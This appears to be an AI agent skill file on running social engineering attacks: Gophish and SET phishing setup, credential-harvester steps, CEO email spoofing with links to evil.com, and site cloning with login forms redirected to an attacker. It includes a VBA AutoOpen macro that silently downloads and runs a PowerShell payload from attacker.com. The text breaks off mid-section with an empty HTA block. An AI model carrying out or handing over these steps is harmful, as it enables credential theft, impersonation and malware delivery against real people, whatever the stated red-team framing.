--- name: performing-social-engineering description: Conduct phishing campaigns, credential harvesting, pretexting, and social engineering attacks using tools like Gophish, SET, and custom techniques. Use when performing social engineering assessments or red team engagements. --- # Performing Social Engineering ## When to Use - Phishing campaign execution - Credential harvesting operations - Social engineering assessments - Red team engagements - Security awareness testing ## Phishing Infrastructure ### Gophish (Phishing Framework) ```bash # Install wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-v0.12.1-linux-64bit.zip chmod +x gophish ./gophish # Access web interface https://localhost:3333 # Default: admin:gophish ``` **Gophish Campaign Setup:** 1. **Email Templates** - Create convincing phishing emails 2. **Landing Pages** - Clone legitimate sites for credential harvesting 3. **Sending Profiles** - Configure SMTP server 4. **Groups** - Import target user lists 5. **Campaign** - Combine all elements and launch ### SET (Social Engineering Toolkit) ```bash # Launch SET setoolkit # Common modules: # 1) Social-Engineering Attacks # 1) Spear-Phishing Attack Vectors # 2) Website Attack Vectors # 3) Credential Harvester Attack Method ``` **Credential Harvester:** ```bash # SET Menu: # 1 -> 2 -> 3 (Credential Harvester) # Choose site template or custom URL # Enter attacker IP # Hosts fake login page # Captures credentials when submitted ``` ## Email Phishing ### Email Spoofing ```bash # sendEmail (simple SMTP client) sendEmail -f ceo@company.com \ -t target@company.com \ -u "Urgent: Password Reset Required" \ -m "Click here to reset: http://evil.com/reset" \ -s smtp.server.com:25 # swaks (SMTP testing tool) swaks --to target@company.com \ --from ceo@company.com \ --header "Subject: Important Update" \ --body "Please review: http://evil.com" \ --server smtp.company.com ``` ### Attachment-Based Phishing **Malicious Office Macros:** ```vba ' Excel/Word VBA macro Sub AutoOpen() Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))""" End Sub ``` **Malicious PDF:** ```bash # Create PDF with embedded JavaScript # Use tools like: # - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe) # - PDFtk # - malicious JavaScript injection ``` **Malicious HTA:** ```html
``` ### Clone Legitimate Sites ```bash # HTTrack website copier httrack http://legitimate-site.com -O ./cloned_site/ # wget mirror wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com # Manual with curl curl -o index.html http://legitimate-site.com/login # Modify form action to send credentials to attacker